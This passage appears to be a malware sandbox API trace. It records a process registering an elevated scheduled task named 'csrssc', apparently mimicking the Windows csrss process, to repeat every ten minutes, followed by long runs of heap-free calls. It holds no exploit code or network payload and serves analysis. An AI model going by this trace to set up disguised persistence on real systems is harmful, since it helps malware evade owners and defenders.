(lpStart=" ", wMatch=0x5c) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x5a) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0069.561] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0069.561] IUnknown:Release (This=0x2f61b0) returned 0x1 [0069.561] IUnknown:Release (This=0x2f7e30) returned 0x1 [0069.561] ITaskDefinition:get_Triggers (in: This=0x2f7d70, ppTriggers=0xdca80 | out: ppTriggers=0xdca80*=0x2f5f80) returned 0x0 [0069.561] ITriggerCollection:Create (in: This=0x2f5f80, Type=1, ppTrigger=0xdca78 | out: ppTrigger=0xdca78*=0x2f6220) returned 0x0 [0069.561] lstrlenW (lpString="10") returned 2 [0069.562] _vsnwprintf (in: _Buffer=0xdca00, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xdc9f8 | out: _Buffer="PT10M") returned 5 [0069.562] ITrigger:get_Repetition (in: This=0x2f6220, ppRepeat=0xdca70 | out: ppRepeat=0xdca70*=0x2f62b0) returned 0x0 [0069.562] IRepetitionPattern:put_Interval (This=0x2f62b0, Interval="PT10M") returned 0x0 [0069.562] IUnknown:Release (This=0x2f62b0) returned 0x1 [0069.562] _vsnwprintf (in: _Buffer=0xdc9c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xdc998 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0069.562] ITrigger:put_StartBoundary (This=0x2f6220, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0069.562] lstrlenW (lpString="") returned 0 [0069.562] lstrlenW (lpString="") returned 0 [0069.562] lstrlenW (lpString="") returned 0 [0069.562] lstrlenW (lpString="") returned 0 [0069.562] IUnknown:Release (This=0x2f6220) returned 0x1 [0069.562] IUnknown:Release (This=0x2f5f80) returned 0x1 [0069.562] ITaskDefinition:get_Settings (in: This=0x2f7d70, ppSettings=0xdcf20 | out: ppSettings=0xdcf20*=0x2f5ff0) returned 0x0 [0069.563] lstrlenW (lpString="") returned 0 [0069.563] IUnknown:Release (This=0x2f5ff0) returned 0x1 [0069.563] GetLocalTime (in: lpSystemTime=0xdcdd8 | out: lpSystemTime=0xdcdd8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x35, wMilliseconds=0x399)) [0069.563] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0069.563] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0069.563] GetUserNameW (in: lpBuffer=0xdce00, pcbBuffer=0xdcde8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xdcde8) returned 1 [0069.564] ITaskDefinition:get_RegistrationInfo (in: This=0x2f7d70, ppRegistrationInfo=0xdcdd0 | out: ppRegistrationInfo=0xdcdd0*=0x2f7eb0) returned 0x0 [0069.564] IRegistrationInfo:put_Author (This=0x2f7eb0, Author="") returned 0x0 [0069.564] _vsnwprintf (in: _Buffer=0xdce00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xdcd98 | out: _Buffer="2023-09-19T17:16:53") returned 19 [0069.564] IRegistrationInfo:put_Date (This=0x2f7eb0, Date="") returned 0x0 [0069.564] IUnknown:Release (This=0x2f7eb0) returned 0x1 [0069.564] malloc (_Size=0x18) returned 0x2f6310 [0069.565] free (_Block=0x2f6310) [0069.565] lstrlenW (lpString="") returned 0 [0069.565] ITaskDefinition:get_Principal (in: This=0x2f7d70, ppPrincipal=0xdcff0 | out: ppPrincipal=0xdcff0*=0x2f6100) returned 0x0 [0069.565] IPrincipal:put_RunLevel (This=0x2f6100, RunLevel=1) returned 0x0 [0069.565] IUnknown:Release (This=0x2f6100) returned 0x1 [0069.565] malloc (_Size=0x18) returned 0x2f6310 [0069.565] ITaskFolder:RegisterTaskDefinition (in: This=0x2f7d20, Path="csrssc", pDefinition=0x2f7d70, flags=6, UserId=0xdd070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdd0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xdef80, varVal2=0xfe), LogonType=3, sddl=0xdd090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xdcf90 | out: ppTask=0xdcf90*=0x2f64b0) returned 0x0 [0069.715] free (_Block=0x2f6310) [0069.715] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.715] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0069.715] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0069.715] GetProcessHeap () returned 0x130000 [0069.715] GetProcessHeap () returned 0x130000 [0069.715] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d720) returned 1 [0069.715] GetProcessHeap () returned 0x130000 [0069.715] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d720) returned 0xc [0069.715] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d720 | out: hHeap=0x130000) returned 1 [0069.715] GetProcessHeap () returned 0x130000 [0069.715] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x82) returned 0x169b70 [0069.715] _vsnwprintf (in: _Buffer=0xdd6d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xdcf38 | out: _Buffer="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n") returned 68 [0069.715] _fileno (_File=0x7feffe22ab0) returned -2 [0069.715] _errno () returned 0x2f4bb0 [0069.715] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0069.716] SetLastError (dwErrCode=0x6) [0069.716] lstrlenW (lpString="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n") returned 68 [0069.716] GetConsoleOutputCP () returned 0x0 [0069.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0069.716] GetConsoleOutputCP () returned 0x0 [0069.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0xff411880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 68 [0069.716] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 68 [0069.716] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0069.716] IUnknown:Release (This=0x2f64b0) returned 0x0 [0069.716] TaskScheduler:IUnknown:Release (This=0x2f7d70) returned 0x0 [0069.716] TaskScheduler:IUnknown:Release (This=0x2f7d20) returned 0x0 [0069.716] TaskScheduler:IUnknown:Release (This=0x2f7b60) returned 0x1 [0069.716] lstrlenW (lpString="") returned 0 [0069.716] lstrlenW (lpString="10") returned 2 [0069.716] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0069.716] GetProcessHeap () returned 0x130000 [0069.716] GetProcessHeap () returned 0x130000 [0069.716] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c470) returned 1 [0069.716] GetProcessHeap () returned 0x130000 [0069.716] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c470) returned 0x1fc [0069.717] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c470 | out: hHeap=0x130000) returned 1 [0069.717] GetProcessHeap () returned 0x130000 [0069.717] GetProcessHeap () returned 0x130000 [0069.717] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bab0) returned 1 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bab0) returned 0x6 [0069.718] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bab0 | out: hHeap=0x130000) returned 1 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d640) returned 1 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d640) returned 0x16 [0069.718] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d640 | out: hHeap=0x130000) returned 1 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d620) returned 1 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d620) returned 0x18 [0069.718] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d620 | out: hHeap=0x130000) returned 1 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cef0) returned 1 [0069.718] GetProcessHeap () returned 0x130000 [0069.718] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cef0) returned 0x20 [0069.719] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cef0 | out: hHeap=0x130000) returned 1 [0069.719] GetProcessHeap () returned 0x130000 [0069.719] GetProcessHeap () returned 0x130000 [0069.719] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c110) returned 1 [0069.719] GetProcessHeap () returned 0x130000 [0069.719] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c110) returned 0xa0 [0069.720] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c110 | out: hHeap=0x130000) returned 1 [0069.720] GetProcessHeap () returned 0x130000 [0069.720] GetProcessHeap () returned 0x130000 [0069.720] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb90) returned 1 [0069.720] GetProcessHeap () returned 0x130000 [0069.720] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bb90) returned 0x18 [0069.720] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb90 | out: hHeap=0x130000) returned 1 [0069.720] GetProcessHeap () returned 0x130000 [0069.720] GetProcessHeap () returned 0x130000 [0069.720] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc50) returned 1 [0069.720] GetProcessHeap () returned 0x130000 [0069.720] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cc50) returned 0x20 [0069.721] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc50 | out: hHeap=0x130000) returned 1 [0069.721] GetProcessHeap () returned 0x130000 [0069.721] GetProcessHeap () returned 0x130000 [0069.721] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x147c40) returned 1 [0069.721] GetProcessHeap () returned 0x130000 [0069.721] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x147c40) returned 0x34 [0069.722] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x147c40 | out: hHeap=0x130000) returned 1 [0069.722] GetProcessHeap () returned 0x130000 [0069.722] GetProcessHeap () returned 0x130000 [0069.722] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d660) returned 1 [0069.722] GetProcessHeap () returned 0x130000 [0069.722] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d660) returned 0x18 [0069.722] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d660 | out: hHeap=0x130000) returned 1 [0069.722] GetProcessHeap () returned 0x130000 [0069.722] GetProcessHeap () returned 0x130000 [0069.722] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc20) returned 1 [0069.722] GetProcessHeap () returned 0x130000 [0069.722] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cc20) returned 0x20 [0069.723] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc20 | out: hHeap=0x130000) returned 1 [0069.723] GetProcessHeap () returned 0x130000 [0069.723] GetProcessHeap () returned 0x130000 [0069.723] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x147bc0) returned 1 [0069.723] GetProcessHeap () returned 0x130000 [0069.723] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x147bc0) returned 0x36 [0069.724] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x147bc0 | out: hHeap=0x130000) returned 1 [0069.724] GetProcessHeap () returned 0x130000 [0069.724] GetProcessHeap () returned 0x130000 [0069.724] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d600) returned 1 [0069.724] GetProcessHeap () returned 0x130000 [0069.724] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d600) returned 0x18 [0069.724] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d600 | out: hHeap=0x130000) returned 1 [0069.724] GetProcessHeap () returned 0x130000 [0069.724] GetProcessHeap () returned 0x130000 [0069.724] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cbf0) returned 1 [0069.724] GetProcessHeap () returned 0x130000 [0069.724] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cbf0) returned 0x20 [0069.725] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cbf0 | out: hHeap=0x130000) returned 1 [0069.725] GetProcessHeap () returned 0x130000 [0069.725] GetProcessHeap () returned 0x130000 [0069.725] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c450) returned 1 [0069.727] GetProcessHeap () returned 0x130000 [0069.727] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c450) returned 0xe [0069.727] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c450 | out: hHeap=0x130000) returned 1 [0069.727] GetProcessHeap () returned 0x130000 [0069.727] GetProcessHeap () returned 0x130000 [0069.727] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c430) returned 1 [0069.727] GetProcessHeap () returned 0x130000 [0069.727] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c430) returned 0x18 [0069.727] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c430 | out: hHeap=0x130000) returned 1 [0069.727] GetProcessHeap () returned 0x130000 [0069.727] GetProcessHeap () returned 0x130000 [0069.727] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145e10) returned 1 [0069.727] GetProcessHeap () returned 0x130000 [0069.727] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145e10) returned 0x20 [0069.728] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145e10 | out: hHeap=0x130000) returned 1 [0069.728] GetProcessHeap () returned 0x130000 [0069.728] GetProcessHeap () returned 0x130000 [0069.728] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bd10) returned 1 [0069.728] GetProcessHeap () returned 0x130000 [0069.728] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bd10) returned 0x208 [0069.728] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bd10 | out: hHeap=0x130000) returned 1 [0069.728] GetProcessHeap () returned 0x130000 [0069.728] GetProcessHeap () returned 0x130000 [0069.728] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb70) returned 1 [0069.729] GetProcessHeap () returned 0x130000 [0069.729] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bb70) returned 0x18 [0069.729] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb70 | out: hHeap=0x130000) returned 1 [0069.729] GetProcessHeap () returned 0x130000 [0069.729] GetProcessHeap () returned 0x130000 [0069.729] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145d20) returned 1 [0069.729] GetProcessHeap () returned 0x130000 [0069.729] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145d20) returned 0x20 [0069.729] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145d20 | out: hHeap=0x130000) returned 1 [0069.729] GetProcessHeap () returned 0x130000 [0069.729] GetProcessHeap () returned 0x130000 [0069.729] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d3c0) returned 1 [0069.729] GetProcessHeap () returned 0x130000 [0069.729] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d3c0) returned 0x200 [0069.730] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d3c0 | out: hHeap=0x130000) returned 1 [0069.730] GetProcessHeap () returned 0x130000 [0069.730] GetProcessHeap () returned 0x130000 [0069.730] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bbb0) returned 1 [0069.730] GetProcessHeap () returned 0x130000 [0069.730] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bbb0) returned 0x18 [0069.730] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bbb0 | out: hHeap=0x130000) returned 1 [0069.730] GetProcessHeap () returned 0x130000 [0069.730] GetProcessHeap () returned 0x130000 [0069.730] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145c90) returned 1 [0069.730] GetProcessHeap () returned 0x130000 [0069.730] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145c90) returned 0x20 [0069.731] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145c90 | out: hHeap=0x130000) returned 1 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c320) returned 1 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c320) returned 0x14 [0069.731] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c320 | out: hHeap=0x130000) returned 1 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c300) returned 1 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c300) returned 0x18 [0069.731] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c300 | out: hHeap=0x130000) returned 1 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145bd0) returned 1 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145bd0) returned 0x20 [0069.731] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145bd0 | out: hHeap=0x130000) returned 1 [0069.731] GetProcessHeap () returned 0x130000 [0069.731] GetProcessHeap () returned 0x130000 [0069.732] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c340) returned 1 [0069.732] GetProcessHeap () returned 0x130000 [0069.732] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c340) returned 0x16 [0069.732] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c340 | out: hHeap=0x130000) returned 1 [0069.732] GetProcessHeap () returned 0x130000 [0069.732] GetProcessHeap () returned 0x130000 [0069.732] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c1c0) returned 1 [0069.732] GetProcessHeap () returned 0x130000 [0069.732] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c1c0) returned 0x18 [0069.732] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c1c0 | out: hHeap=0x130000) returned 1 [0069.732] GetProcessHeap () returned 0x130000 [0069.732] GetProcessHeap () returned 0x130000 [0069.732] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145ba0) returned 1 [0069.732] GetProcessHeap () returned 0x130000 [0069.732] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145ba0) returned 0x20 [0069.732] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145ba0 | out: hHeap=0x130000) returned 1 [0069.733] GetProcessHeap () returned 0x130000 [0069.733] GetProcessHeap () returned 0x130000 [0069.733] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14baf0) returned 1 [0069.733] GetProcessHeap () returned 0x130000 [0069.733] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14baf0) returned 0x2 [0069.733] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14baf0 | out: hHeap=0x130000) returned 1 [0069.733] GetProcessHeap () returned 0x130000 [0069.733] GetProcessHeap () returned 0x130000 [0069.733] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x1459f0) returned 1 [0069.733] GetProcessHeap () returned 0x130000 [0069.733] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x1459f0) returned 0x20 [0069.733] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x1459f0 | out: hHeap=0x130000) returned 1 [0069.733] GetProcessHeap () returned 0x130000 [0069.733] GetProcessHeap () returned 0x130000 [0069.733] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145a20) returned 1 [0069.733] GetProcessHeap () returned 0x130000 [0069.733] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145a20) returned 0x20 [0069.734] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145a20 | out: hHeap=0x130000) returned 1 [0069.734] GetProcessHeap () returned 0x130000 [0069.734] GetProcessHeap () returned 0x130000 [0069.734] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145a50) returned 1 [0069.734] GetProcessHeap () returned 0x130000 [0069.734] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145a50) returned 0x20 [0069.734] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145a50 | out: hHeap=0x130000) returned 1 [0069.735] GetProcessHeap () returned 0x130000 [0069.735] GetProcessHeap () returned 0x130000 [0069.735] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145a80) returned 1 [0069.735] GetProcessHeap () returned 0x130000 [0069.735] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145a80) returned 0x20 [0069.735] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145a80 | out: hHeap=0x130000) returned 1 [0069.735] GetProcessHeap () returned 0x130000 [0069.735] GetProcessHeap () returned 0x130000 [0069.735] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc80) returned 1 [0069.735] GetProcessHeap () returned 0x130000 [0069.735] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cc80) returned 0x20 [0069.736] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cc80 | out: hHeap=0x130000) returned 1 [0069.736] GetProcessHeap () returned 0x130000 [0069.736] GetProcessHeap () returned 0x130000 [0069.736] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d760) returned 1 [0069.736] GetProcessHeap () returned 0x130000 [0069.736] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d760) returned 0xa [0069.736] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d760 | out: hHeap=0x130000) returned 1 [0069.736] GetProcessHeap () returned 0x130000 [0069.736] GetProcessHeap () returned 0x130000 [0069.736] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ccb0) returned 1 [0069.736] GetProcessHeap () returned 0x130000 [0069.736] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ccb0) returned 0x20 [0069.737] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ccb0 | out: hHeap=0x130000) returned 1 [0069.737] GetProcessHeap () returned 0x130000 [0069.737] GetProcessHeap () returned 0x130000 [0069.737] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x147b80) returned 1 [0069.737] GetProcessHeap () returned 0x130000 [0069.737] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x147b80) returned 0x30 [0069.738] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x147b80 | out: hHeap=0x130000) returned 1 [0069.738] GetProcessHeap () returned 0x130000 [0069.738] GetProcessHeap () returned 0x130000 [0069.738] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cce0) returned 1 [0069.738] GetProcessHeap () returned 0x130000 [0069.738] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cce0) returned 0x20 [0069.738] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cce0 | out: hHeap=0x130000) returned 1 [0069.738] GetProcessHeap () returned 0x130000 [0069.738] GetProcessHeap () returned 0x130000 [0069.738] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x147c00) returned 1 [0069.738] GetProcessHeap () returned 0x130000 [0069.738] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x147c00) returned 0x30 [0069.739] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x147c00 | out: hHeap=0x130000) returned 1 [0069.739] GetProcessHeap () returned 0x130000 [0069.739] GetProcessHeap () returned 0x130000 [0069.739] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cec0) returned 1 [0069.739] GetProcessHeap () returned 0x130000 [0069.739] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cec0) returned 0x20 [0069.739] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cec0 | out: hHeap=0x130000) returned 1 [0069.739] GetProcessHeap () returned 0x130000 [0069.739] GetProcessHeap () returned 0x130000 [0069.739] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d680) returned 1 [0069.740] GetProcessHeap () returned 0x130000 [0069.740] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d680) returned 0x10 [0069.740] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d680 | out: hHeap=0x130000) returned 1 [0069.740] GetProcessHeap () returned 0x130000 [0069.740] GetProcessHeap () returned 0x130000 [0069.740] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce90) returned 1 [0069.740] GetProcessHeap () returned 0x130000 [0069.740] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ce90) returned 0x20 [0069.740] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce90 | out: hHeap=0x130000) returned 1 [0069.740] GetProcessHeap () returned 0x130000 [0069.740] GetProcessHeap () returned 0x130000 [0069.740] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d6a0) returned 1 [0069.740] GetProcessHeap () returned 0x130000 [0069.740] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d6a0) returned 0x10 